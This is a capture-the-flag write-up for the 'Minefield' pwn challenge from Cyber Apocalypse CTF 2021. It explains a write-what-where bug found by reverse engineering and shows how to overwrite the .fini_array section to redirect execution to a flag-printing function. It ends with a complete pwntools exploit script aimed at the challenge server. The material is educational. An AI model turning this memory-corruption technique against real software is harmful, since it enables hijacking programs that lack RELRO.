A few weeks ago I participated to Cyber Apocalypse CTF 2021 which was organized by hackthebox.eu, cryptohack.org and code.org. I mainly focused on Pwn, Reverse and Forensic challenges. Here is the writeup for the Minefield challenge. I will also post the writeup for the Controller challenge soon
Let’s start by using the file
command on the given binary:
1
2
$ file minefield
minefield: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=917a7e342565e55408ed3c698c7cd0707a9ddd9a, not stripped
minefield
is a 64-bit ELF. It is dynamically linked, which means that the LIBC is not directly incorporated into the binary. Finally, it is not stripped
so it contains symbols, which will allow us to debug and decompile it more easily.
By using checksec
, we can see that the CANARY is active, and that the stack is not executable (NX):
checksec
can be executed both fromgdb
and from outsidegdb
.
Generally, in a CTF context, when CANARY is active, we can expect 2 scenarios:
- bruteforcing it (as in this example)
- retrieving it by leaking the contents of the stack via a format string vulnerability (as in this example).
Spoil alert: in this case, it will be neither of the two scenarios :D
1. Identify the win()
function
Still in gdb
, if we list the binary functions via the info fu
command (shortcut to the info functions
command), we can see that there is a function with a strange name (“_
”) :
We can decompile the binary using ghidra
and look at the source code of this function:
The “_
” function makes a call to system("cat flag *")
.
Well done! We identified our win()
function.
Note: in pwn challenges, we call “
win()
function” a function that allows you to open a shell or display the flag.
The objective of this challenge is to find a way to redirect the execution flow and to call this win()
function, despite the implemented protections CANARY and NX.
2. Reverse engineering & Arbitrary write
The main()
function calls the menu()
function:
The menu()
function asks the user if he is ready to plant mines via the scanf
function and stores the result in an int variable:
If the user does not enter either “1” or “2” then the invalid()
function is called and displays “Mission failed!”:
If the user does not enter “1”, then the user is considered not to be ready. The choice()
function is called and displays the following message:
Finally, if the user enters “2” then the user is considered ready and the mission()
function is called.
The mission()
function waits for two values:
- “Insert type of mine:” → in a 10 characters buffer (
local_24
) - “Insert location to plant:” → also in a 10 characters buffer (
local_1a
)
Each user input is converted to unsigned long long int via the LIBC’s function of strtoull.
User input is handled by the r()
function which is just a “wrapper” around the read()
function of the LIBC (with the CANARY support).
It will read 9 characters from the standard input (stdin
):
When we run the binary, we get a segmentation fault systematically:
This is because of this line in the mission()
function:
This is a typical write-what-where instruction, i.e that we can write what we want, where we want. The address pointed by puVar1
is replaced by the address uVar2
.
puVar1
corresponds to our input for “Insert type of mine:” converted to unsigned long long intuVar1
corresponds to our input for “Insert location to plant:” converted to unsigned long long int
Our strategy will be as follows:
- using this write-what-where to replace the address of a function executed after the
mission()
function, with the address of the function “_
” .
To do this, we can corrupt the memory by modifying the Procedure Linkage Table (PLT) or the .fini_array section:
.fini_array is an array of functions called when the program terminates.
The PLT is an array of function pointers. Every function called by the program that resides in an external library (such as the LIBC) resides in the PLT. The reason it is writable during the runtime is because of the support for lazy liking (which consists in resolving the address of a function is only when it is called for the first time)
So if we modify .fini_array by inserting the address of the function “_
”, we will win.
It is possible to corrupt these sections because RELRO (Relocation Read-Only) protection has not been activated. This protection makes the “data” sections (GOT, PLT…) accessible only in read-only mode.
3. Writing the exploit
When you start to write an exploit, it is good to have a template/skeleton that you can start from. The one I am using is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pwn
host = "127.0.0.1"
port = 1337
remote = False
binary_path = './vuln'
binary = pwn.ELF(binary_path)
if remote:
r = pwn.remote(host,port)
else:
r = pwn.process(binary_path)
# Exploit code starts here :)
r.interactive()
r.close()
- Then, we start by retrieving the address of the
win()
function:
1
win_fn = binary.symbols['_']
It is also possible to add the address manually by retrieving it via the command
nm minefield | grep "_"
. But doing it this way is less elegant than usingpwntools
directly ^^
- We get the address of the section .fini_array:
1
fini_array_addr = binary.get_section_by_name('.fini_array').header.sh_addr
We can also add the address manually by retrieving it via the command
info files
insidegdb
. But doing it this way is less elegant than usingpwntools
directly ^^
- We can print these two addresses in hexadecimal::
1
2
pwn.info("Win function '_' address: 0x%x" % win_fn)
pwn.info(".fini_array section address: 0x%x" % fini_array_addr)
- The binary waits for 3 inputs:
- “Are you ready to plant the mine?” → “2” and then call the
mission()
function - “Insert type of mine:” → address where we will write to
- “Insert location to plant:” → address we want to write
Before interacting directly with the server on which the binary is being executed, it is better to test the exploit locally by creating a “flag.txt” file and check if we called the “
_
” function successfully.
- With the following exploit it is possible to recover the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pwn
host = "138.68.147.232"
port = 30174
remote = True
binary_path = './minefield'
binary = pwn.ELF(binary_path)
if remote:
r = pwn.remote(host,port)
else:
r = pwn.process(binary_path)
win_fn = binary.symbols['_'] # nm minefield | grep "_"
fini_array_addr = binary.get_section_by_name('.fini_array').header.sh_addr # (gdb) info files
pwn.info("Win function '_' address: 0x%x" % win_fn)
pwn.info(".fini_array section address: 0x%x" % fini_array_addr)
r.sendlineafter(">", b"2")
r.sendlineafter("Insert type of mine: ", str(fini_array_addr))
r.sendlineafter("Insert location to plant: ", str(win_fn))
r.interactive()
r.close()